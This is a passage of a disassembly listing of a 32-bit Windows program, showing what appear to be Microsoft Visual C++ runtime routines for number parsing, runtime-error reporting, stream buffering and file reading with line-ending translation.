loc_4139E0:				; CODE XREF: sub_413137+89Cj
		push	30h
		pop	ebx
		jmp	loc_413AA6
; ---------------------------------------------------------------------------

loc_4139E8:				; CODE XREF: sub_413137+868j
					; sub_413137+86Dj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		cmp	[ebp+18Ch+var_1B8], 0
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx
		jz	short loc_413A0B
		sub	[ebp+18Ch+var_198], 2
		cmp	[ebp+18Ch+var_198], 1
		jge	short loc_413A0B
		inc	[ebp+18Ch+var_189]

loc_413A0B:				; CODE XREF: sub_413137+8C5j
					; sub_413137+8CFj
		mov	[ebp+18Ch+var_1AC], 78h
		jmp	loc_413AA9
; ---------------------------------------------------------------------------

loc_413A17:				; CODE XREF: sub_413137+6BEj
		mov	[esi], al
		inc	esi

loc_413A1A:				; CODE XREF: sub_413137+710j
		mov	[ebp+18Ch+var_1C4], esi
		jmp	loc_41376E
; ---------------------------------------------------------------------------

loc_413A22:				; CODE XREF: sub_413137+6B4j
		inc	edi
		jmp	loc_41376E
; ---------------------------------------------------------------------------

loc_413A28:				; CODE XREF: sub_413137+65Cj
					; sub_413137+674j ...
		dec	[ebp+18Ch+var_188]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413A3B
		push	[ebp+18Ch+var_1A0]
		push	eax
		call	sub_4193CB
		pop	ecx
		pop	ecx

loc_413A3B:				; CODE XREF: sub_413137+645j
					; sub_413137+8F7j
		cmp	edi, esi
		jz	loc_413D29
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_413C91
		inc	[ebp+18Ch+var_1C8]
		cmp	ebx, 63h
		jz	loc_413C91
		cmp	[ebp+18Ch+var_1A2], 0
		mov	eax, [ebp+18Ch+var_1C4]
		jz	short loc_413A6B
		and	word ptr [eax],	0
		jmp	loc_413C91
; ---------------------------------------------------------------------------

loc_413A6B:				; CODE XREF: sub_413137+929j
		mov	byte ptr [eax],	0
		jmp	loc_413C91
; ---------------------------------------------------------------------------

loc_413A73:				; CODE XREF: sub_413137+71Aj
		mov	[ebp+18Ch+var_19A], 1

loc_413A77:				; CODE XREF: sub_413137+312j
					; sub_413137+326j ...
		mov	ebx, [ebp+18Ch+var_190]
		cmp	ebx, 2Dh
		jnz	short loc_413A85
		mov	[ebp+18Ch+var_1A3], 1
		jmp	short loc_413A8A
; ---------------------------------------------------------------------------

loc_413A85:				; CODE XREF: sub_413137+946j
		cmp	ebx, 2Bh
		jnz	short loc_413AA9

loc_413A8A:				; CODE XREF: sub_413137+94Cj
		dec	[ebp+18Ch+var_198]
		jnz	short loc_413A99
		test	ecx, ecx
		jz	short loc_413A99
		mov	[ebp+18Ch+var_189], 1
		jmp	short loc_413AA9
; ---------------------------------------------------------------------------

loc_413A99:				; CODE XREF: sub_413137+956j
					; sub_413137+95Aj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	ebx, eax

loc_413AA6:				; CODE XREF: sub_413137+8ACj
		mov	[ebp+18Ch+var_190], ebx

loc_413AA9:				; CODE XREF: sub_413137+84Fj
					; sub_413137+891j ...
		cmp	[ebp+18Ch+var_1D4], 0
		jz	loc_413BAE
		cmp	[ebp+18Ch+var_189], 0
		jnz	loc_413B89

loc_413ABD:				; CODE XREF: sub_413137+A3Aj
		cmp	[ebp+18Ch+var_1AC], 78h
		jz	short loc_413B12
		cmp	[ebp+18Ch+var_1AC], 70h
		jz	short loc_413B12
		movzx	eax, bl
		push	eax
		call	sub_4192AB
		test	eax, eax
		pop	ecx
		jz	loc_413B76
		cmp	[ebp+18Ch+var_1AC], 6Fh
		jnz	short loc_413AFC
		cmp	ebx, 38h
		jge	loc_413B76
		mov	eax, [ebp+18Ch+var_1BC]
		mov	esi, [ebp+18Ch+var_1C0]
		shld	eax, esi, 3
		shl	esi, 3
		mov	[ebp+18Ch+var_1BC], eax
		jmp	short loc_413B47
; ---------------------------------------------------------------------------

loc_413AFC:				; CODE XREF: sub_413137+9A8j
		push	0
		push	0Ah
		push	[ebp+18Ch+var_1BC]
		push	[ebp+18Ch+var_1C0]
		call	sub_419620
		mov	esi, eax
		mov	[ebp+18Ch+var_1BC], edx
		jmp	short loc_413B47
; ---------------------------------------------------------------------------

loc_413B12:				; CODE XREF: sub_413137+98Aj
					; sub_413137+990j
		movzx	edi, bl
		push	edi
		call	sub_419328
		test	eax, eax
		pop	ecx
		jz	short loc_413B76
		mov	eax, [ebp+18Ch+var_1BC]
		mov	esi, [ebp+18Ch+var_1C0]
		shld	eax, esi, 4
		push	edi
		shl	esi, 4
		mov	[ebp+18Ch+var_1BC], eax
		call	sub_4192AB
		test	eax, eax
		pop	ecx
		movsx	ebx, bl
		jnz	short loc_413B44
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7

loc_413B44:				; CODE XREF: sub_413137+A05j
		mov	[ebp+18Ch+var_190], ebx

loc_413B47:				; CODE XREF: sub_413137+9C3j
					; sub_413137+9D9j
		inc	[ebp+18Ch+var_1A8]
		lea	eax, [ebx-30h]
		cdq
		add	esi, eax
		adc	[ebp+18Ch+var_1BC], edx
		cmp	[ebp+18Ch+var_1B8], 0
		mov	[ebp+18Ch+var_1C0], esi
		jz	short loc_413B61
		dec	[ebp+18Ch+var_198]
		jz	short loc_413B89

loc_413B61:				; CODE XREF: sub_413137+A23j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx
		jmp	loc_413ABD
; ---------------------------------------------------------------------------

loc_413B76:				; CODE XREF: sub_413137+99Ej
					; sub_413137+9ADj ...
		dec	[ebp+18Ch+var_188]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_413B89
		push	[ebp+18Ch+var_1A0]
		push	ebx
		call	sub_4193CB
		pop	ecx
		pop	ecx

loc_413B89:				; CODE XREF: sub_413137+980j
					; sub_413137+A28j ...
		cmp	[ebp+18Ch+var_1A3], 0
		mov	edi, [ebp+18Ch+var_1E0]
		jz	loc_413C51
		mov	eax, [ebp+18Ch+var_1C0]
		mov	ecx, [ebp+18Ch+var_1BC]
		neg	eax
		adc	ecx, 0
		neg	ecx
		mov	[ebp+18Ch+var_1C0], eax
		mov	[ebp+18Ch+var_1BC], ecx
		jmp	loc_413C51
; ---------------------------------------------------------------------------

loc_413BAE:				; CODE XREF: sub_413137+976j
		cmp	[ebp+18Ch+var_189], 0
		mov	edi, [ebp+18Ch+var_1E0]
		jnz	loc_413C49

loc_413BBB:				; CODE XREF: sub_413137+AFDj
		cmp	[ebp+18Ch+var_1AC], 78h
		jz	short loc_413BEA
		cmp	[ebp+18Ch+var_1AC], 70h
		jz	short loc_413BEA
		movzx	eax, bl
		push	eax
		call	sub_4192AB
		test	eax, eax
		pop	ecx
		jz	short loc_413C36
		cmp	[ebp+18Ch+var_1AC], 6Fh
		jnz	short loc_413BE5
		cmp	ebx, 38h
		jge	short loc_413C36
		shl	edi, 3
		jmp	short loc_413C12
; ---------------------------------------------------------------------------

loc_413BE5:				; CODE XREF: sub_413137+AA2j
		imul	edi, 0Ah
		jmp	short loc_413C12
; ---------------------------------------------------------------------------

loc_413BEA:				; CODE XREF: sub_413137+A88j
					; sub_413137+A8Ej
		movzx	esi, bl
		push	esi
		call	sub_419328
		test	eax, eax
		pop	ecx
		jz	short loc_413C36
		push	esi
		shl	edi, 4
		call	sub_4192AB
		test	eax, eax
		pop	ecx
		movsx	ebx, bl
		jnz	short loc_413C0F
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7

loc_413C0F:				; CODE XREF: sub_413137+AD0j
		mov	[ebp+18Ch+var_190], ebx

loc_413C12:				; CODE XREF: sub_413137+AACj
					; sub_413137+AB1j
		inc	[ebp+18Ch+var_1A8]
		cmp	[ebp+18Ch+var_1B8], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_413C24
		dec	[ebp+18Ch+var_198]
		jz	short loc_413C49

loc_413C24:				; CODE XREF: sub_413137+AE6j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx
		jmp	short loc_413BBB
; ---------------------------------------------------------------------------

loc_413C36:				; CODE XREF: sub_413137+A9Cj
					; sub_413137+AA7j ...
		dec	[ebp+18Ch+var_188]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_413C49
		push	[ebp+18Ch+var_1A0]
		push	ebx
		call	sub_4193CB
		pop	ecx
		pop	ecx

loc_413C49:				; CODE XREF: sub_413137+A7Ej
					; sub_413137+AEBj ...
		cmp	[ebp+18Ch+var_1A3], 0
		jz	short loc_413C51
		neg	edi

loc_413C51:				; CODE XREF: sub_413137+A59j
					; sub_413137+A72j ...
		cmp	[ebp+18Ch+var_1AC], 46h
		jnz	short loc_413C5B
		and	[ebp+18Ch+var_1A8], 0

loc_413C5B:				; CODE XREF: sub_413137+B1Ej
		cmp	[ebp+18Ch+var_1A8], 0
		jz	loc_413D29
		cmp	[ebp+18Ch+var_199], 0
		jnz	short loc_413C91
		inc	[ebp+18Ch+var_1C8]
		mov	esi, [ebp+18Ch+var_1C4]

loc_413C71:				; CODE XREF: sub_413137+34Cj
		cmp	[ebp+18Ch+var_1D4], 0
		jz	short loc_413C84
		mov	eax, [ebp+18Ch+var_1C0]
		mov	[esi], eax
		mov	eax, [ebp+18Ch+var_1BC]
		mov	[esi+4], eax
		jmp	short loc_413C91
; ---------------------------------------------------------------------------

loc_413C84:				; CODE XREF: sub_413137+B3Ej
		cmp	[ebp+18Ch+var_19A], 0
		jz	short loc_413C8E
		mov	[esi], edi
		jmp	short loc_413C91
; ---------------------------------------------------------------------------

loc_413C8E:				; CODE XREF: sub_413137+B51j
		mov	[esi], di

loc_413C91:				; CODE XREF: sub_413137+352j
					; sub_413137+5D3j ...
		mov	edi, [ebp+18Ch+var_1B4]
		inc	[ebp+18Ch+var_1A1]
		inc	edi
		mov	[ebp+18Ch+var_1B4], edi
		jmp	short loc_413CDF
; ---------------------------------------------------------------------------

loc_413C9D:				; CODE XREF: sub_413137+17Cj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	ebx, eax
		movzx	eax, byte ptr [edi]
		inc	edi
		cmp	eax, ebx
		mov	[ebp+18Ch+var_190], ebx
		mov	[ebp+18Ch+var_1B4], edi
		jnz	short loc_413D17
		movzx	eax, bl
		push	eax
		call	sub_416CF6
		test	eax, eax
		pop	ecx
		jz	short loc_413CDF
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		movzx	ecx, byte ptr [edi]
		inc	edi
		cmp	ecx, eax
		mov	[ebp+18Ch+var_1B4], edi
		jnz	short loc_413D07
		dec	[ebp+18Ch+var_188]

loc_413CDF:				; CODE XREF: sub_413137+B64j
					; sub_413137+B8Dj
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jnz	short loc_413CF5
		cmp	byte ptr [edi],	25h
		jnz	short loc_413D29
		mov	eax, [ebp+18Ch+var_1B4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_413D29
		mov	edi, eax

loc_413CF5:				; CODE XREF: sub_413137+174j
					; sub_413137+BACj
		mov	al, [edi]
		test	al, al
		jnz	loc_41326F
		jmp	short loc_413D29
; ---------------------------------------------------------------------------

loc_413D01:				; CODE XREF: sub_413137+303j
					; sub_413137+745j
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jmp	short loc_413D1A
; ---------------------------------------------------------------------------

loc_413D07:				; CODE XREF: sub_413137+BA3j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413D17
		push	[ebp+18Ch+var_1A0]
		push	eax
		call	sub_4193CB
		pop	ecx
		pop	ecx

loc_413D17:				; CODE XREF: sub_413137+B7Fj
					; sub_413137+BD3j
		cmp	ebx, 0FFFFFFFFh

loc_413D1A:				; CODE XREF: sub_413137+BCEj
		jz	short loc_413D29
		push	[ebp+18Ch+var_1A0]
		push	[ebp+18Ch+var_190]
		call	sub_4193CB
		pop	ecx
		pop	ecx

loc_413D29:				; CODE XREF: sub_413137+2ECj
					; sub_413137+3D7j ...
		cmp	[ebp+18Ch+var_1D0], 1
		jnz	short loc_413D38
		push	[ebp+18Ch+var_1B0]
		call	sub_40DBA6
		pop	ecx

loc_413D38:				; CODE XREF: sub_413137+BF6j
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jnz	short loc_413D5C
		mov	eax, [ebp+18Ch+var_1C8]
		test	eax, eax
		jnz	short loc_413D4D
		cmp	[ebp+18Ch+var_1A1], al
		jnz	short loc_413D4D
		or	eax, 0FFFFFFFFh

loc_413D4D:				; CODE XREF: sub_413137+C0Cj
					; sub_413137+C11j
		cmp	[ebp+18Ch+var_1EC], 0
		jz	short loc_413D6C
		mov	ecx, [ebp+18Ch+var_1F0]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_413D6C
; ---------------------------------------------------------------------------

loc_413D5C:				; CODE XREF: sub_413137+12Fj
					; sub_413137+C05j
		cmp	[ebp+18Ch+var_1EC], 0
		jz	short loc_413D69
		mov	eax, [ebp+18Ch+var_1F0]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_413D69:				; CODE XREF: sub_413137+C29j
		mov	eax, [ebp+18Ch+var_1C8]

loc_413D6C:				; CODE XREF: sub_413137+70j
					; sub_413137+C1Aj ...
		mov	ecx, [ebp+18Ch+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		add	ebp, 18Ch
		leave
		retn
sub_413137	endp


; =============== S U B	R O U T	I N E =======================================



sub_413D84	proc near		; CODE XREF: sub_40DC83+2Ap
					; sub_40E44D+12p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		mov	ebx, [esp+8+arg_0]
		push	esi
		push	edi
		xor	esi, esi
		xor	edi, edi

loc_413D90:				; CODE XREF: sub_413D84+19j
		cmp	ebx, dword_423BE0[edi*8]
		jz	short loc_413D9F
		inc	edi
		cmp	edi, 17h
		jl	short loc_413D90

loc_413D9F:				; CODE XREF: sub_413D84+13j
		cmp	edi, 17h
		jnb	loc_413F1F
		push	ebp
		push	3
		call	sub_4197F2
		cmp	eax, 1
		pop	ecx
		jz	loc_413EEB
		push	3
		call	sub_4197F2
		test	eax, eax
		pop	ecx
		jnz	short loc_413DD3
		cmp	dword_423060, 1
		jz	loc_413EEB

loc_413DD3:				; CODE XREF: sub_413D84+40j
		cmp	ebx, 0FCh
		jz	loc_413F1E
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		mov	ebx, 314h
		push	ebx
		mov	ebp, offset dword_426038
		push	ebp
		call	sub_411E25
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413E09
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40D222
		add	esp, 14h

loc_413E09:				; CODE XREF: sub_413D84+76j
		push	104h
		mov	esi, offset byte_426051
		push	esi
		push	0
		mov	byte_426155, 0
		call	ds:dword_41E060	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_413E4D
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	2FBh
		push	esi
		call	sub_411E25
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413E4D
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40D222
		add	esp, 14h

loc_413E4D:				; CODE XREF: sub_413D84+A1j
					; sub_413D84+B8j
		push	esi
		call	sub_40C9B0
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_413E92
		push	esi
		call	sub_40C9B0
		sub	esi, 3Bh
		add	eax, esi
		push	3
		mov	ecx, offset dword_42634C
		push	offset a___	; "..."
		sub	ecx, eax
		push	ecx
		push	eax
		call	sub_416B06
		add	esp, 14h
		test	eax, eax
		jz	short loc_413E92
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40D222
		add	esp, 14h
		jmp	short loc_413E94
; ---------------------------------------------------------------------------

loc_413E92:				; CODE XREF: sub_413D84+D4j
					; sub_413D84+FBj
		xor	esi, esi

loc_413E94:				; CODE XREF: sub_413D84+10Cj
		push	offset asc_41EB00 ; "\n\n"
		push	ebx
		push	ebp
		call	sub_416A4D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413EB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40D222
		add	esp, 14h

loc_413EB4:				; CODE XREF: sub_413D84+121j
		push	off_423BE4[edi*8]
		push	ebx
		push	ebp
		call	sub_416A4D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413ED6
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40D222
		add	esp, 14h

loc_413ED6:				; CODE XREF: sub_413D84+143j
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebp
		call	sub_419654
		add	esp, 0Ch
		jmp	short loc_413F1E
; ---------------------------------------------------------------------------

loc_413EEB:				; CODE XREF: sub_413D84+30j
					; sub_413D84+49j
		push	0FFFFFFF4h
		call	ds:dword_41E14C	; GetStdHandle
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_413F1E
		cmp	ebp, 0FFFFFFFFh
		jz	short loc_413F1E
		push	0
		lea	eax, [esp+18h+var_4]
		push	eax
		lea	esi, ds:423BE4h[edi*8]
		push	dword ptr [esi]
		call	sub_40C9B0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	ebp
		call	ds:dword_41E088	; WriteFile

loc_413F1E:				; CODE XREF: sub_413D84+55j
					; sub_413D84+165j ...
		pop	ebp

loc_413F1F:				; CODE XREF: sub_413D84+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_413D84	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F24	proc near		; CODE XREF: sub_40DC83+23p
					; sub_40E44D+9p ...
		push	3
		call	sub_4197F2
		cmp	eax, 1
		pop	ecx
		jz	short loc_413F46
		push	3
		call	sub_4197F2
		test	eax, eax
		pop	ecx
		jnz	short locret_413F5C
		cmp	dword_423060, 1
		jnz	short locret_413F5C

loc_413F46:				; CODE XREF: sub_413F24+Bj
		push	0FCh
		call	sub_413D84
		push	0FFh
		call	sub_413D84
		pop	ecx
		pop	ecx

locret_413F5C:				; CODE XREF: sub_413F24+17j
					; sub_413F24+20j
		retn
sub_413F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F5D	proc near		; CODE XREF: sub_40E09C+EDp
					; sub_4130FC+Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_413F86
		call	sub_40FCB4
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		jmp	loc_414077
; ---------------------------------------------------------------------------

loc_413F86:				; CODE XREF: sub_413F5D+Aj
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_414077
		test	al, 40h
		jnz	loc_414077
		test	al, 2
		jz	short loc_413FA8
		or	eax, 20h
		mov	[esi+0Ch], eax
		jmp	loc_414077
; ---------------------------------------------------------------------------

loc_413FA8:				; CODE XREF: sub_413F5D+3Ej
		or	eax, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_413FBD
		push	esi
		call	sub_4177BC
		pop	ecx
		jmp	short loc_413FC2
; ---------------------------------------------------------------------------

loc_413FBD:				; CODE XREF: sub_413F5D+55j
		mov	eax, [esi+8]
		mov	[esi], eax

loc_413FC2:				; CODE XREF: sub_413F5D+5Ej
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	esi
		call	sub_412CF4
		pop	ecx
		push	eax
		call	sub_41461F
		add	esp, 0Ch
		cmp	eax, edi
		mov	[esi+4], eax
		jz	loc_414067
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414067
		test	byte ptr [esi+0Ch], 82h
		jnz	short loc_41403D
		push	esi
		call	sub_412CF4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_414028
		push	esi
		call	sub_412CF4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_414028
		push	esi
		call	sub_412CF4
		sar	eax, 5
		push	esi
		lea	edi, ds:433CE0h[eax*4]
		call	sub_412CF4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_41402D
; ---------------------------------------------------------------------------

loc_414028:				; CODE XREF: sub_413F5D+9Bj
					; sub_413F5D+A7j
		mov	eax, offset dword_423BB8

loc_41402D:				; CODE XREF: sub_413F5D+C9j
		mov	al, [eax+4]
		and	al, 82h
		cmp	al, 82h
		jnz	short loc_41403D
		or	dword ptr [esi+0Ch], 2000h

loc_41403D:				; CODE XREF: sub_413F5D+8Fj
					; sub_413F5D+D7j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41405A
		mov	eax, [esi+0Ch]
		test	al, 8
		jz	short loc_41405A
		test	ax, 400h
		jnz	short loc_41405A
		mov	dword ptr [esi+18h], 1000h

loc_41405A:				; CODE XREF: sub_413F5D+E7j
					; sub_413F5D+EEj ...
		mov	ecx, [esi]
		dec	dword ptr [esi+4]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41407A
; ---------------------------------------------------------------------------

loc_414067:				; CODE XREF: sub_413F5D+80j
					; sub_413F5D+89j
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		mov	[esi+4], edi

loc_414077:				; CODE XREF: sub_413F5D+24j
					; sub_413F5D+2Ej ...
		or	eax, 0FFFFFFFFh

loc_41407A:				; CODE XREF: sub_413F5D+108j
		pop	edi
		pop	esi
		retn
sub_413F5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41407D	proc near		; CODE XREF: sub_41461F+9Ap
					; sub_41819F+355p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	edx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_0]
		push	0FFFFFFFEh
		pop	eax
		cmp	esi, eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_1C], edx
		jnz	short loc_4140B2
		call	sub_40FCC7
		and	dword ptr [eax], 0
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_41461C
; ---------------------------------------------------------------------------

loc_4140B2:				; CODE XREF: sub_41407D+18j
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jl	short loc_4140C1
		cmp	esi, dword_433CD8
		jb	short loc_4140E8

loc_4140C1:				; CODE XREF: sub_41407D+3Aj
		call	sub_40FCC7
		mov	[eax], edi
		call	sub_40FCB4
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 9
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_41461B
; ---------------------------------------------------------------------------

loc_4140E8:				; CODE XREF: sub_41407D+42j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		push	ebx
		lea	ebx, ds:433CE0h[eax*4]
		mov	eax, [ebx]
		add	eax, esi
		mov	cl, [eax+4]
		test	cl, 1
		jnz	short loc_41411E
		call	sub_40FCC7
		mov	[eax], edi
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		jmp	loc_414265
; ---------------------------------------------------------------------------

loc_41411E:				; CODE XREF: sub_41407D+88j
		cmp	edx, edi
		mov	[ebp+var_10], edi
		jz	loc_414618
		test	cl, 2
		jnz	loc_414618
		mov	ecx, [ebp+arg_4]
		cmp	ecx, edi
		jz	loc_414253
		mov	al, [eax+24h]
		add	al, al
		sar	al, 1
		mov	[ebp+var_2], al
		movsx	eax, al
		dec	eax
		jz	loc_41424B
		dec	eax
		jnz	short loc_414166
		mov	eax, edx
		not	eax
		test	al, 1
		jz	loc_414253
		and	edx, 0FFFFFFFEh
		mov	[ebp+arg_8], edx

loc_414166:				; CODE XREF: sub_41407D+D5j
		mov	[ebp+var_C], ecx

loc_414169:				; CODE XREF: sub_41407D+216j
		mov	ecx, [ebx]
		mov	eax, [ebp+var_C]
		lea	edi, [esi+ecx]
		test	byte ptr [edi+4], 48h
		jz	short loc_4141ED
		mov	cl, [edi+5]
		cmp	cl, 0Ah
		jz	short loc_4141ED
		xor	edx, edx
		cmp	[ebp+arg_8], edx
		jz	short loc_4141ED
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		cmp	[ebp+var_2], dl
		mov	[ebp+var_10], 1
		mov	byte ptr [esi+ecx+5], 0Ah
		jz	short loc_4141ED
		mov	ecx, [ebx]
		mov	cl, [esi+ecx+25h]
		cmp	cl, 0Ah
		jz	short loc_4141ED
		cmp	[ebp+arg_8], edx
		jz	short loc_4141ED
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		cmp	[ebp+var_2], 1
		mov	[ebp+var_10], 2
		mov	byte ptr [esi+ecx+25h],	0Ah
		jnz	short loc_4141ED
		mov	ecx, [ebx]
		mov	cl, [esi+ecx+26h]
		cmp	cl, 0Ah
		jz	short loc_4141ED
		cmp	[ebp+arg_8], edx
		jz	short loc_4141ED
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		mov	[ebp+var_10], 3
		mov	byte ptr [esi+ecx+26h],	0Ah

loc_4141ED:				; CODE XREF: sub_41407D+F8j
					; sub_41407D+100j ...
		push	0
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	ds:off_41E078
		test	eax, eax
		jz	loc_4145E2
		mov	edi, [ebp+var_18]
		test	edi, edi
		jl	loc_4145E2
		cmp	edi, [ebp+arg_8]
		ja	loc_4145E2
		mov	eax, [ebx]
		add	[ebp+var_10], edi
		lea	eax, [esi+eax+4]
		test	byte ptr [eax],	80h
		jz	loc_414482
		cmp	[ebp+var_2], 2
		jz	loc_4144AC
		test	edi, edi
		jz	short loc_4142B7
		mov	ecx, [ebp+var_C]
		cmp	byte ptr [ecx],	0Ah
		jnz	short loc_4142B7
		or	byte ptr [eax],	4
		jmp	short loc_4142BA
; ---------------------------------------------------------------------------

loc_41424B:				; CODE XREF: sub_41407D+CEj
		mov	eax, edx
		not	eax
		test	al, 1
		jnz	short loc_414274

loc_414253:				; CODE XREF: sub_41407D+BAj
					; sub_41407D+DDj
		call	sub_40FCC7
		mov	[eax], edi
		call	sub_40FCB4
		mov	dword ptr [eax], 16h

loc_414265:				; CODE XREF: sub_41407D+9Cj
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D31E
		add	esp, 14h
		jmp	short loc_4142AF
; ---------------------------------------------------------------------------

loc_414274:				; CODE XREF: sub_41407D+1D4j
		mov	eax, edx
		push	4
		pop	ecx
		shr	eax, 1
		cmp	eax, ecx
		mov	[ebp+arg_8], ecx
		jb	short loc_414285
		mov	[ebp+arg_8], eax

loc_414285:				; CODE XREF: sub_41407D+203j
		push	[ebp+arg_8]
		call	sub_411E8A
		cmp	eax, edi
		pop	ecx
		mov	[ebp+var_C], eax
		jnz	loc_414169
		call	sub_40FCB4
		mov	dword ptr [eax], 0Ch
		call	sub_40FCC7
		mov	dword ptr [eax], 8

loc_4142AF:				; CODE XREF: sub_41407D+1F5j
		or	eax, 0FFFFFFFFh
		jmp	loc_41461A
; ---------------------------------------------------------------------------

loc_4142B7:				; CODE XREF: sub_41407D+1BFj
					; sub_41407D+1C7j
		and	byte ptr [eax],	0FBh

loc_4142BA:				; CODE XREF: sub_41407D+1CCj
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_10]
		add	eax, edi
		cmp	edi, eax
		mov	[ebp+arg_8], edi
		mov	[ebp+var_10], eax
		jnb	loc_4143A0

loc_4142D0:				; CODE XREF: sub_41407D+306j
		mov	ecx, [ebp+arg_8]
		mov	al, [ecx]
		cmp	al, 1Ah
		jz	loc_41438B
		cmp	al, 0Dh
		jz	short loc_4142ED
		mov	[edi], al
		inc	edi
		inc	ecx
		mov	[ebp+arg_8], ecx
		jmp	loc_41437D
; ---------------------------------------------------------------------------

loc_4142ED:				; CODE XREF: sub_41407D+262j
		mov	eax, [ebp+var_10]
		dec	eax
		cmp	ecx, eax
		jnb	short loc_41430C
		lea	eax, [ecx+1]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_414307
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx

loc_414302:				; CODE XREF: sub_41407D+2CAj
					; sub_41407D+2E3j
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41437C
; ---------------------------------------------------------------------------

loc_414307:				; CODE XREF: sub_41407D+27Ej
		mov	[ebp+arg_8], eax
		jmp	short loc_414379
; ---------------------------------------------------------------------------

loc_41430C:				; CODE XREF: sub_41407D+276j
		inc	[ebp+arg_8]
		push	0
